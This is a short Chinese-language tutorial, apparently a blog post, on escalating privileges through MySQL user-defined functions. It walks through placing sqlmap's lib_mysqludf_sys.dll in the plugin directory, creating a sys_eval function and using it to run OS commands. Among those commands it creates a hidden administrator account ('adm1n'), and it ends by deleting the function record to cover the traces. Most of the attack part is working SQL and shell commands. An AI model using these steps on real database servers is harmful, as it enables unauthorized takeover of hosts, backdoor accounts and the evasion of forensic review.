udf(user defined function)即“用户自定义函数“。MySQL允许用户通过添加新函数,对MySQL的功能进行扩充。

提权的必要条件:

  • 具有MySQL的root权限
  • 具有执行SQL语句的权限
  • MySQL以system权限运行

提权分为四步:

  • 上传dll文件到指定位置
  • 创建udf函数
  • 调用udf函数
  • 清理痕迹

0x00 上传dll文件到指定位置

SQLMAP中的–os-shell的底层原理就是udf提权。在它的安装路径里可以找到MySQL提权需要的dll文件。

用SQLMAP自带的脚本把它变成dll文件拉出来^^

接下来要把dll文件放到指定位置。当MySQL小于5.0时,dll文件可放在任意位置。当5.1≥MySQL≥5.0时,dll文件需放在path环境变量指定的位置。当MySQL>5.1时,dll文件上传在MySQL安装路径的/lib/plugin下。

0x01 创建udf函数

将dll中的函数引入到MySQL数据库中:

create function sys_eval returns string soname 'lib_mysqludf_sys.dll'

创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll。

0x02 调用udf函数

直接sys_eval("系统命令");就可以:

select sys_eval("whoami");

再例如,创建账号并提升为管理员权限:

select sys_eval("net user adm1n adm1n123 /add");
select sys_eval("net localgroup administrators adm1n /add")

0x03 清理痕迹

最后,需要将之前引入的函数删除掉,也别忘记删掉dll文件。

delete from mysql.func where name='sys_eval';